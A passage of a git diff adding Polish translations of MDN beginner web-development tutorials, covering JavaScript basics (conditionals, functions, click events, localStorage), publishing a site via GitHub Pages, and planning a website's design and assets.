+ <td><code>!</code>, <code>!==</code></td>
+ <td>
+ <p>Podstawowe wyrażenie jest <code>true</code>, ale porównanie zwraca <code>false</code>, ponieważ zostało ono zanegowane:</p>
+
+ <p><code>var myVariable = 3;<br>
+ !(myVariable === 3);</code></p>
+
+ <p>Tu testujemy "czy <code>myVariable</code> NIE równa się 3". To zwraca wartość <code>false</code> ponieważ <code>myVariable</code> JEST równa 3.</p>
+
+ <p><code><code>var myVariable = 3;</code><br>
+ myVariable !== 3;</code></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Istnieje wiele więcej operatorów, ale to wystarczy na razie. Jeśli chcesz zobacz pełną listę sprawdź w <a href="/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a>.</p>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Mieszanie typów danych może powodować dziwne efekty podczas wykonywania obliczeń, dlatego należy uważać, aby prawidłowo odwoływać się do zmiennych i uzyskać spodziewane wyniki. Na przykład wprowadź <code>"35" + "25"</code> do konsoli. Dlaczego nie dostaniesz oczekiwanego rezultatu? Ponieważ znaki cudzysłowów zmieniają liczby w ciągi znaków, więc skończyłeś na łączeniu łańcuchów zamiast dodawać liczby. Jeśli wpiszesz, <code>35 + 25</code> otrzymasz poprawny wynik.</p>
+</div>
+
+<h3 id="Warunki">Warunki</h3>
+
+<p>Warunkami są struktury kodu, które pozwalają na sprawdzenie, czy wyrażenie zwraca <code>true</code>, czy nie, i uruchamia inny kod ujawniony przez jego wynik. Bardzo popularną formą warunku są instrukcje <code>if ... else</code>. Na przykład:</p>
+
+<pre class="brush: js">var iceCream = 'chocolate';
+if (iceCream === 'chocolate') {
+ alert('Yay, I love chocolate ice cream!');
+} else {
+ alert('Awwww, but chocolate is my favorite...');
+}</pre>
+
+<p>Wyrażenie wewnątrz <code>if (...)</code> jest testem — który używa operatora tożsamości (opisanego powyżej) w celu porównania zmiennej <code>iceCream</code> z ciągiem znaków <code>chocolate</code>, aby sprawdzić, czy te dwa są równe. Jeśli to porównanie zwróci <code>true</code>, uruchomiony zostanie pierwszy blok kodu. Jeśli porównanie nie jest prawdziwe, pierwszy blok jest pomijany, a drugi blok kodu, po wywołaniu <code>else</code>, jest uruchamiany.</p>
+
+<h3 id="Funkcje">Funkcje</h3>
+
+<p>{{Glossary("Function", "Funkcje")}} są sposobem na zapakowanie funkcjonalności, które chcesz wykorzystać ponownie. Gdy potrzebujesz procedury, zamiast pisać cały kod za każdym razem, możesz wywołać funkcję z nazwą funkcji. Powyżej widzieliście już niektóre zastosowania funkcji, na przykład:</p>
+
+<ol>
+ <li>
+ <pre class="brush: js">var myVariable = document.querySelector('h1');</pre>
+ </li>
+ <li>
+ <pre class="brush: js">alert('hello!');</pre>
+ </li>
+</ol>
+
+<p>Funkcje te, <code>document.querySelector</code> i <code>alert</code>, są wbudowane w przeglądarkę, aby używać w dowolnym momencie.</p>
+
+<p>Jeśli widzisz coś, co wygląda jak nazwa zmiennej, ale ma nawiasy — <code>()</code> — po niej, to prawdopodobnie jest to funkcja. Funkcje często biorą {{Glossary("Argument", "argumenty")}} — bity danych potrzebne do wykonywania ich pracy. Znajdują się one w nawiasach, oddzielone przecinkami jeśli jest więcej niż jeden argument.</p>
+
+<p>Na przykład, funkcja <code>alert ()</code> powoduje pojawienie się okna podręcznego wewnątrz okna przeglądarki, ale musimy dać mu ciąg znaków jako argument, aby powiedzieć użytkownikowi o tym, co należy wyświetlić w wyskakującym okienku.</p>
+
+<p>Dobrą wiadomością jest możliwość zdefiniowania własnych funkcji — w następnym przykładzie napiszemy prostą funkcję, która przyjmuje dwie liczby jako argumenty i mnoży je:</p>
+
+<pre class="brush: js">function multiply(num1,num2) {
+ var result = num1 * num2;
+ return result;
+}</pre>
+
+<p>Spróbuj uruchomić powyższą funkcję w konsoli, a następnie przetestuj kilka argumentów. Na przykład:</p>
+
+<pre class="brush: js">multiply(4,7);
+multiply(20,20);
+multiply(0.5,3);</pre>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> informuje przeglądarkę o zwróceniu zmiennej <code>result</code> z funkcji, dzięki czemu jest ona dostępna. Jest to konieczne, ponieważ zmienne zdefiniowane wewnątrz funkcji są dostępne tylko w tych funkcjach. Jest to tak zwany {{Glossary("Scope", "zakres")}} zmiennej. (Poczytaj <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">więcej o zakresie zmiennej</a>.)</p>
+</div>
+
+<h3 id="Zdarzenia">Zdarzenia</h3>
+
+<p>Prawdziwa interaktywność na stronie internetowej potrzebuje zdarzeń. Są to struktury kodu nasłuchające rzeczy, które dzieją się w przeglądarce i uruchamiajace kod w odpowiedzi. Najbardziej oczywistym przykładem jest zdarzenie kliknięcia, które jest uruchamiane przez przeglądarkę po kliknięciu na coś za pomocą myszy. Aby to zademonstrować, wpisz następujący kod w konsoli, a następnie kliknij na bieżącej stronie internetowej:</p>
+
+<pre>document.querySelector('html').onclick = function() {
+ alert('Ouch! Stop poking me!');
+}</pre>
+
+<p>Istnieje wiele sposobów dołączania zdarzenia do elementu. Tutaj wybieramy element {{htmlelement("html")}} i ustawiamy obsługę jego właściwości <code>onclick</code> równą funkcji anonimowej (tj. bezimiennej), która zawiera kod, który ma być uruchamiany.</p>
+
+<p>Zauważ że</p>
+
+<pre>document.querySelector('html').onclick = function() {};</pre>
+
+<p>jest równe temu</p>
+
+<pre>var myHTML = document.querySelector('html');
+myHTML.onclick = function() {};</pre>
+
+<p>To jest po prostu krócej.</p>
+
+<h2 id="Podrasowanie_naszej_przykładowej_strony">Podrasowanie naszej przykładowej strony</h2>
+
+<p>Omówiliśmy kilka podstawowych zasad JavaScript, dodajmy kilka ciekawych funkcji do naszej przykładowej witryny, aby zobaczyć, co jest możliwe.</p>
+
+<h3 id="Dodawanie_zmieniarki_obrazu">Dodawanie zmieniarki obrazu</h3>
+
+<p>W tej sekcji dodajemy dodatkowy obraz do naszej witryny, korzystając z kilku innych funkcji DOM API, używając JavaScript, aby przełączać się między nimi, gdy klikniesz obraz.</p>
+
+<ol>
+ <li>Na samym początku znajdź inne zdjęcie, które chciałbyś pokazać na stronie. Upewnij się, że jest tego samego rozmiaru, co pierwsze - albo przynajmniej jak najbliżej się da.</li>
+ <li>Zachowaj zdjęcie w swoim katalogu <code>images</code>.</li>
+ <li>Nazwij je 'firefox2.png' (bez apostrofów).</li>
+ <li>Otwórz swój plik <code>main.js</code>, następnie dopisz następujący kod (jeżeli nadal znajduje się tam skrypt "witaj, świecie" - usuń go).
+ <pre>var myImage = document.querySelector('img');
+
+myImage.onclick = function() {
+ var mySrc = myImage.getAttribute('src');
+ if(mySrc === 'images/firefox-icon.png') {
+ myImage.setAttribute ('src','images/firefox2.png');
+ } else {
+ myImage.setAttribute ('src','images/firefox-icon.png');
+ }
+}</pre>
+ </li>
+ <li>Zapisz wszystko i otwórz <code>index.html</code> w przeglądarce. Teraz gdy klikniesz na obrazek, zmieni on się w inny!</li>
+</ol>
+
+<p>Przechowujesz odwołanie do elementu {{htmlelement("img")}} w zmiennej <code>myImage</code>. Następnie ustawiasz dla tej zmiennej obsługę zdarzenia <code>onclick</code> jako funkcję bez nazwy (finkcja anonimowa). Teraz za każdym razem, gdy kliknięty zostanie ten element:</p>
+
+<ol>
+ <li>Pobierasz wartość atrybutu <code>src</code> tego obrazu.</li>
+ <li>Za pomocą wyrażenia warunkowego sprawdzasz, czy wartość <code>src</code> jest równa ścieżce do oryginalnego obrazu:
+ <ol>
+ <li>Jeśli tak, zmienisz wartość <code>src</code> na ścieżkę do drugiego obrazu, zmuszając drugi obraz do załadowania do elementu {{htmlelement("img")}}.</li>
+ <li>Jeśli nie (to oznacza, że ​​już musiała się zmienić), wartość <code>src</code> zmienia się z powrotem na ścieżkę oryginalnego obrazu, do stanu oryginalnego.</li>
+ </ol>
+ </li>
+</ol>
+
+<h3 id="Dodanie_spersonalizowanej_wiadomości_powitalnej">Dodanie spersonalizowanej wiadomości powitalnej</h3>
+
+<p>Następnie dodamy kolejny fragment kodu, zmieniając tytuł strony na spersonalizowaną wiadomość powitalną, gdy użytkownik po raz pierwszy odwiedzi witrynę. Ta wiadomość powitalna będzie trwała, nawet jeśli użytkownik opuści witrynę, a później wróci - zapiszemy ją za pomocą interfejsu <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>. Będzie również zawierać opcję zmiany użytkownika, a zatem będziemy mogli zmienić wiadomość powitalną w dowolnym momencie.</p>
+
+<ol>
+ <li>W pliku <code>index.html</code>, dodaj następujący wiersz tuż przed elementem {{htmlelement("script")}}:
+
+ <pre>&lt;button&gt;Change user&lt;/button&gt;</pre>
+ </li>
+ <li>Na końcu pliku <code>main.js</code>, umieść następujący kod, dokładnie tak, jak napisano — pobiera on odwołania do nowego przycisku i nagłówka, przechowując je w zmiennych:
+ <pre>var myButton = document.querySelector('button');
+var myHeading = document.querySelector('h1');</pre>
+ </li>
+ <li>Teraz dodaj następującą funkcję, aby ustawić spersonalizowane powitanie — to jeszcze nic nie zrobi, ale poprawimy to za chwilę:
+ <pre>function setUserName() {
+ var myName = prompt('Please enter your name.');
+ localStorage.setItem('name', myName);
+ myHeading.textContent = 'Mozilla is cool, ' + myName;
+}</pre>
+ Ta funkcja zawiera funkcję <a href="/en-US/docs/Web/API/Window.prompt"><code>prompt()</code></a>, która wyświetla okno dialogowe, przypominające komunikat <code>alert()</code>. Jednak ten komunikat <code>prompt()</code>, prosi użytkownika o wprowadzenie danych i zapisanie ich w zmiennej po naciśnięciu przycisku <strong>OK</strong><em>.</em> W takim przypadku prosimy użytkownika o podanie jego nazwy. Następnie wywołujemy interfejs API o nazwie <code>localStorage</code>, który pozwala nam przechowywać dane w przeglądarce, a następnie je odzyskać. Używamy funkcji <code>setItem()</code> dla localStorage, aby utworzyć i przechować element danych o nazwie <code>'name'</code>, ustawiając jego wartość jako wartość zmiennej <code>myName</code> która zawiera dane wprowadzone przez użytkownika. Na koniec ustawiamy <code>textContent</code> nagłówka jako string, oraz nowo zapisaną nazwę użytkownika.</li>
+ <li>Następnie dodaj poniższy blok <code>if ... else</code>, który możemy nazwać kodem inicjalizacji, ponieważ tworzy strukturę aplikacji podczas pierwszego ładowania:
+ <pre>if(!localStorage.getItem('name')) {
+ setUserName();
+} else {
+ var storedName = localStorage.getItem('name');
+ myHeading.textContent = 'Mozilla is cool, ' + storedName;
+}</pre>
+ W tym bloku najpierw używamy operatora negacji (logiczne NIE, reprezentuje znak wykrzyknika !) aby sprawdzić, czy obiekt <code>name</code> istnieje. Jeśli nie, to uruchamiana jest funkcja <code>setUserName()</code>, aby go utworzyć. Jeśli on istnieje (to znaczy, że użytkownik ustawił go podczas poprzedniej wizyty), pobieramy zapisaną nazwę za pomocą <code>getItem()</code> i ustawiamy <code>textContent</code> nagłówka jako string oraz nazwę użytkownika, podobnie jak robiliśmy to w <code>setUserName()</code>.</li>
+ <li>Na koniec poniższą funkcję przypisujemy do zdarzenia <code>onclick</code> przycisku. Kiedy zostanie on kliknięty, zostanie uruchomiona funkcja <code>setUserName()</code>. Dzięki temu użytkownik może ustawić nową nazwę, kiedy chce, naciskając przycisk:
+ <pre>myButton.onclick = function() {
+  setUserName();
+}
+</pre>
+ </li>
+</ol>
+
+<p>Teraz, kiedy po raz pierwszy odwiedzisz witrynę, poprosi ona o podanie nazwy użytkownika, a następnie otrzymasz spersonalizowaną wiadomość. Możesz zmienić nazwę w dowolnym momencie, naciskając przycisk. Dodatkowym bonusem jest to, że nazwa utrzymuje się po zamknięciu strony, zachowując spersonalizowaną wiadomość przy następnym otwarciu strony! Dzieje się tak, ponieważ nazwa przechowywana jest w localStorage.</p>
+
+<h2 id="Wniosek">Wniosek</h2>
+
+<p>Jeśli wykonałeś wszystkie instrukcje zawarte w tym artykule, powinieneś otrzymać stronę, która wygląda mniej więcej tak (możesz również <a href="https://mdn.github.io/beginner-html-site-scripted/">zobaczyć naszą wersję tutaj</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png"></p>
+
+<p>Jeśli utkniesz, możesz porównać swoją pracę z naszym <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">gotowym przykładowym kodem na GitHub</a>.</p>
+
+<p>Ledwo zarysowaliśmy powierzchnię JavaScript. Jeśli lubisz grać i chcesz posunąć się jeszcze dalej, przejdź do naszego <a href="/pl/docs/Learn/JavaScript">następnego tematu kursu JavaScript</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/pl/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/pl/learn/getting_started_with_the_web/publishing_your_website/index.html
new file mode 100644
index 0000000000..ac173eef00
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/publishing_your_website/index.html
@@ -0,0 +1,124 @@
+---
+title: Publikacja strony internetowej
+slug: Learn/Getting_started_with_the_web/Publishing_your_website
+tags:
+ - GitHub
+ - Początkujący
+ - Silnik Aplikacji Google
+ - Uczyć się
+ - serwer internetowy
+ - sieć
+translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Once you finish writing the code and organizing the files that make up your website, you need to put it all online so people can find it. This article explains how to get your simple sample code online with little effort.</p>
+</div>
+
+<h2 id="Jakie_są_możliwości">Jakie są możliwości?</h2>
+
+<p dir="ltr" id="tw-target-text">Opublikowanie strony internetowej jest tematem złożonym, ponieważ istnieje wiele sposobów, aby to osiągnąć. W tym artykule nie probujemy udokumentować wszystkie możliwe metody. Zamiast tego wyjaśniamy zalety i wady trzech podejść, które są praktyczne dla początkujących. Następnie przechodzimy przez jedną metodę, która może działać od razu dla wielu użytkowników.</p>
+
+<h3 id="Getting_hosting_and_a_domain_name">Getting hosting and a domain name</h3>
+
+<p>To have more control over content and website appearance, most people choose to buy web hosting and a domain name:</p>
+
+<ul>
+ <li>Web hosting is rented file space on a hosting company's <a href="/en-US/Learn/What_is_a_web_server">web server</a>. You put website files on the web server. The web server provides website content to website visitors.</li>
+ <li>A <a href="/en-US/Learn/Understanding_domain_names">domain name</a> is the unique address where people find your website, such as <code>http://www.mozilla.org</code> or <code>http://www.bbc.co.uk</code>. You can rent your domain name for as many years as you want from a <strong>domain registrar</strong>.</li>
+</ul>
+
+<p>Many professional websites go online this way.</p>
+
+<p>In addition, you will need a {{Glossary("FTP", "File Transfer Protocol (FTP)")}} program (see <a href="/en-US/Learn/How_much_does_it_cost#Software">How much does it cost: software</a> for more details) to actually transfer the website files over to the server. FTP  programs vary widely, but generally, you have to connect to your web server using details provided by your hosting company (typically username, password, hostname). Then the program shows you your local files and the web server's files in two windows, and provides a way for you to transfer files back and forth.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p>
+
+<h4 id="Tips_for_finding_hosting_and_domains">Tips for finding hosting and domains</h4>
+
+<ul>
+ <li>MDN does not promote specific commercial hosting companies or domain name registrars. To find hosting companies and registrars, just search for "web hosting" and "domain names". All registrars will have a feature to allow you to check if the domain name you want is available.</li>
+ <li>Your home or office {{Glossary("ISP", "internet service provider")}} may provide some limited hosting for a small website. The available feature set will be limited, but it might be perfect for your first experiments.</li>
+ <li>There are also free services available like <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogger</a>, and <a href="https://wordpress.com/">WordPress</a>.  Sometimes you get what you pay for, but sometimes these resources are good enough for your initial experiments.</li>
+ <li>Many companies provide hosting and domains.</li>
+</ul>
+
+<h3 id="Using_an_online_tool_like_GitHub_or_Google_App_Engine">Using an online tool like GitHub or Google App Engine</h3>
+
+<p>Some tools let you publish your website online:</p>
+
+<ul>
+ <li><a href="https://github.com/">GitHub</a> is a "social coding" site. It allows you to upload code repositories for storage in the <a href="http://git-scm.com/">Git</a> <strong>version control system. </strong>You can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your GitHub code, use it, learn from it, and improve on it. GitHub has a very useful feature called <a href="https://pages.github.com/">GitHub Pages</a>, which allows you to expose website code live on the web.</li>
+ <li><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web &amp; Mobile Backends in Any Language | Google Cloud Platform">Google App Engine</a> is a powerful platform that lets you build and run applications on Google’s infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website. See <a href="/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a> for more information.</li>
+</ul>
+
+<p>These options are usually free, but you may outgrow the limited feature-set.</p>
+
+<h3 id="Using_a_web-based_IDE_such_as_CodePen">Using a web-based IDE such as CodePen</h3>
+
+<p>There are a number of web apps that emulate a website development environment, allowing you to enter HTML, CSS and JavaScript, and then display the result of that code as a website — all in one browser tab. Generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features). They host your rendered page at a unique web address. However, the features are limited, and these apps usually don't provide hosting space for assets (like images).</p>
+
+<p>Try playing with some of these examples to find out which one works best for you:</p>
+
+<ul>
+ <li><a href="https://jsfiddle.net/">JSFiddle</a></li>
+ <li><a href="https://glitch.com/">Glitch</a></li>
+ <li><a href="http://jsbin.com/">JS Bin</a></li>
+ <li><a href="https://codepen.io/">CodePen</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
+
+<h2 id="Publishing_via_GitHub">Publishing via GitHub</h2>
+
+<p>Now let's examine how to easily publish your site via GitHub Pages.</p>
+
+<ol>
+ <li>First of all, <a href="https://github.com/">sign up for GitHub</a> and verify your email address.</li>
+ <li>Next, you need to <a href="https://github.com/new">create a repository</a> to store files.</li>
+ <li>On this page, in the <em>Repository name</em> box, enter <em>username</em>.github.io, where <em>username</em> is your username. For example, our friend Bob Smith would enter <em>bobsmith.github.io</em>.<br>
+ Check the "<em>Initialize this repository with a README" </em>box. Then click <em>Create repository</em>.<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
+ <li>Drag and drop the content of your website folder into your repository. Then click <em>Commit changes</em>.<br>
+
+ <div class="note">
+ <p><strong>Note</strong>: Make sure your folder has an <code>index.html</code> file.</p>
+ </div>
+ </li>
+ <li>
+ <p>Navigate your browser to <em>username</em>.github.io to see your website online. For example, for the username <em>chrisdavidmills</em>, go to <a href="http://chrisdavidmills.github.io/"><em>chrisdavidmills</em>.github.io</a>.</p>
+
+ <div class="note">
+ <p><strong>Note</strong>: It may take a few minutes for your website to go live. If your website does not display immediately, wait a few minutes. Try again.</p>
+ </div>
+ </li>
+</ol>
+
+<p>To learn more, see <a href="https://help.github.com/categories/github-pages-basics/">GitHub Pages Help</a>.</p>
+
+<h2 id="Further_reading">Further reading</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/What_is_a_web_server">What is a web server</a></li>
+ <li><a href="/en-US/Learn/Understanding_domain_names">Understanding domain names</a></li>
+ <li><a href="/en-US/Learn/How_much_does_it_cost">How much does it cost to do something on the web?</a></li>
+ <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website</a>: A nice tutorial from Codecademy that goes a bit further and shows some additional techniques.</li>
+ <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or Free Static Website Hosting</a> by Scott Murray has some useful ideas on available services.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="W_tym_module"><font><font>W tym module</font></font></h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software"><font><font>Instalowanie podstawowego oprogramowania</font></font></a></li>
+ <li id="What_will_your_website_look_like"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like"><font><font>Jak będzie wyglądać Twoja strona internetowa?</font></font></a></li>
+ <li id="Dealing_with_files"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files"><font><font>Radzenie sobie z plikami</font></font></a></li>
+ <li id="HTML_basics"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics"><font><font>Podstawy HTML</font></font></a></li>
+ <li id="CSS_basics"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics"><font><font>Podstawy CSS</font></font></a></li>
+ <li id="JavaScript_basics"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics"><font><font>Podstawy JavaScript</font></font></a></li>
+ <li id="Publishing_your_website"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website"><font><font>Publikowanie Twojej witryny</font></font></a></li>
+ <li id="How_the_web_works"><a href="https://wiki.developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works"><font><font>Jak działa internet</font></font></a></li>
+</ul>
diff --git a/files/pl/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/pl/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
new file mode 100644
index 0000000000..da94d8989d
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
@@ -0,0 +1,99 @@
+---
+title: Jak będzie wyglądała twoja strona internetowa?
+slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+tags:
+ - Assets
+ - Beginner
+ - Composing
+ - Content
+ - Deprecated
+ - Design
+ - Fonts
+ - Learn
+ - Simple
+ - 'l10n:priority'
+ - step by step
+translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div>
+
+<p><em>Jak będzie wyglądać twoja strona internetowa?</em> Omawia prace planistyczne i projektowe, które trzeba wykonać przed rozpoczęciem pisania kodu, w tym "Jakie informacje zawiera moja strona internetowa?", "Jakich czcionek i kolorów chcę użyć?" oraz "Co robi moja strona?".</p>
+
+<hr>
+<h2 id="Pierwsza_sprawa_planowanie">Pierwsza sprawa: planowanie</h2>
+
+<p>Zanim cokolwiek zrobisz, potrzebujesz kilku pomysłów. Co właściwie powinna robić twoja strona? Strona internetowa może robić w zasadzie wszystko, ale przy pierwszej próbie lepiej zachować prostotę. Zaczniemy od stworzenia prostej strony internetowej z nagłówkiem, obrazem i kilkoma akapitami.</p>
+
+<p>Na początek, musisz odpowiedzieć sobie na te pytania:</p>
+
+<ol>
+ <li><strong>O czym jest twoja strona internetowa?</strong> Lubisz psy, Nowy York albo Pac-Mana?</li>
+ <li><strong>Jakie informacje prezentujesz na ten temat?</strong> Napisz tytuł i kilka akapitów i pomyśl o obrazku, który chcesz pokazać na swojej stronie.</li>
+ <li><strong>Jak wygląda twoja strona internetowa</strong>, w prostych, ogólnych założeniach. Jaki jest kolor tła? Jaka czcionka jest odpowiednia: formalna, kreskówkowa, pogrubiona i donośna, subtelna?</li>
+</ol>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Złożone projekty wymagają dokładnych wytycznych, które zagłębiają się we wszystkie szczegóły dotyczące kolorów, czcionek, odstępów między elementami na stronie, odpowiedniego stylu pisania itd. Nazywa się to czasem przewodnikiem projektanta, systemem projektowania lub księgą marki, a przykład można zobaczyć w systemie projektowania <a href="https://design.firefox.com/photon/">Firefox Photon Design System</a>.</p>
+</div>
+
+<hr>
+<h2 id="Szkicowanie_twojego_projektu">Szkicowanie twojego projektu</h2>
+
+<p>Następnie złap za ołówek i papier i naszkicuj z grubsza, jak chcesz, aby twoja strona wyglądała. Na pierwszej prostej stronie internetowej, nie ma zbyt wiele do szkicowania, ale należy już teraz wyrobić sobie ten nawyk. To naprawdę pomaga — nie musisz być jak Van Gogh!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Nawet przy prawdziwych, skomplikowanych stronach internetowych, zespoły projektowe zazwyczaj rozpoczynają od szkiców wstępnych na papierze, a następnie budują cyfrowe makiety przy użyciu edytora graficznego lub technologii sieciowych.</p>
+
+<p>W skład zespołów webowych często wchodzi zarówno grafik, jak i projektant {{Glossary("UX", "doświadczeń użytkownika")}} (UX). Graficy przygotowują wizualizacje strony internetowej. Projektanci UX mają nieco bardziej abstrakcyjną rolę w zajmowaniu się tym, jak użytkownicy będą doświadczać i wchodzić w interakcję ze stroną internetową.</p>
+</div>
+
+<hr>
+<h2 id="Dobieranie_zasobów">Dobieranie zasobów</h2>
+
+<p>W tym momencie warto zacząć kompletować treść, która ma pojawić się na twojej stronie.</p>
+
+<h3 id="Tekst">Tekst</h3>
+
+<p>Nadal powinieneś mieć te kilka paragrafów i tytuł przygotowany wcześniej. Miej je w zanadrzu.</p>
+
+<h3 id="Kolor_motywu_strony">Kolor motywu strony</h3>
+
+<p>Aby wybrać kolor, użyj <a href="https://www.w3schools.com/colors/colors_picker.asp">tej strony, przygotowanej przez W3Schools</a> i znajdź kolor, jaki ci się podoba. Kiedy klikniesz na wybrany kolor, zobaczysz dziwny, sześciocyfrowy kod, jak np. <code>#660066</code>. To jest tzw. <em>kod</em> <em>hexadecymalny </em>(ang. hex code), który reprezentuje twój kolor. Na razie skopiuj go w jakieś bezpieczne miejsce.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="height: 262px; width: 448px;"></p>
+
+<h3 id="Obrazy">Obrazy</h3>
+
+<p>Aby wybrać jakiś obraz, odwiedź <a href="https://www.google.com/imghp?gws_rd=ssl">Grafikę Google</a> i znajdź coś, co ci odpowiada.</p>
+
+<ol>
+ <li>Kiedy wybierzesz jakiś obraz, kliknij na niego aby zobaczyć go w większym rozmiarze.</li>
+ <li>Kliknij na obraz prawym klawiszem myszy (Ctrl + klik na Macu), wybierz <em>Zapisz obraz jako...</em> i wybierz miejsce na komputerze, gdzie chcesz go zapisać. Możesz też skopiować adres URL obrazu, z paska adresowego twojej przeglądarki, aby mieć go pod ręką i skorzystać z niego w przyszłości</li>
+</ol>
+
+<p><img alt="" src="https://media.prod.mdn.mozit.cloud/attachments/2019/04/30/16599/62acc9942836dde3dac0a857fcd7dcd9/updated-google-images.png" style="height: 636px; width: 750px;"></p>
+
+<p>Pamiętaj jednak o tym, że większość obrazów w internecie, również tych w Grafice Google, jest chronione prawami autorskimi. Żeby zminimalizować prawdopodobieństwa naruszenia czyichś praw, możesz skorzystać z narzędzi filtrowania Google. Kliknij w przycisk <em>Narzędzia</em>, następnie w <em>Prawa użytkowania</em> i wybierz <em>Oznaczone do ponownego wykorzystania </em></p>
+
+<p><img alt="" src="https://media.prod.mdn.mozit.cloud/attachments/2019/04/30/16598/93d8101cce495b0149b51d452ed97f31/updated-google-images-licensing.png" style="height: 401px; width: 750px;"></p>
+
+<h3 id="Czcionki">Czcionki</h3>
+
+<p>Aby wybrać czcionkę:</p>
+
+<ol>
+ <li>Odwiedź witrynę <a href="http://www.google.com/fonts">Google Fonts</a> i poszukaj takiej czcionki, która ci odpowiada. Aby ułatwić sobie wyszukiwanie, możesz skorzystać z filtrów, które znajdują się po prawej stronie.</li>
+ <li>Kliknij <em>znaczek plusa</em> obok nazwy czcionki, która ci się podoba.</li>
+ <li>Kliknij na panel, który pojawi się na dole strony.</li>
+ <li>Skopiuj kod, który się pojawił i zapisz go dla późniejszego użycia</li>
+</ol>
+
+<p><img alt="" src="https://media.prod.mdn.mozit.cloud/attachments/2016/09/12/13871/4b391a133a9f3a7ab34476d70c0b16a2/font1.png" style="height: 1016px; width: 1697px;"></p>
+
+<p><img alt="" src="https://media.prod.mdn.mozit.cloud/attachments/2016/09/12/13873/acf07297222686c37649eda5c1e4b8e2/font2.png" style="height: 714px; width: 705px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/pl/learn/html/howto/index.html b/files/pl/learn/html/howto/index.html
new file mode 100644
index 0000000000..5343bdbaad
--- /dev/null
+++ b/files/pl/learn/html/howto/index.html
@@ -0,0 +1,155 @@
+---
+title: Use HTML to solve common problems
+slug: Learn/HTML/Howto
+tags:
+ - CodingScripting
+ - HTML
+ - NeedsTranslation
+ - TopicStub
+translation_of: Learn/HTML/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">The following links point to solutions to common everyday problems you'll need to solve with HTML.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Basic_structure">Basic structure</h3>
+
+<p>The most basic application of HTML is document structure. If you're new to HTML you should start with this.</p>
+
+<ul>
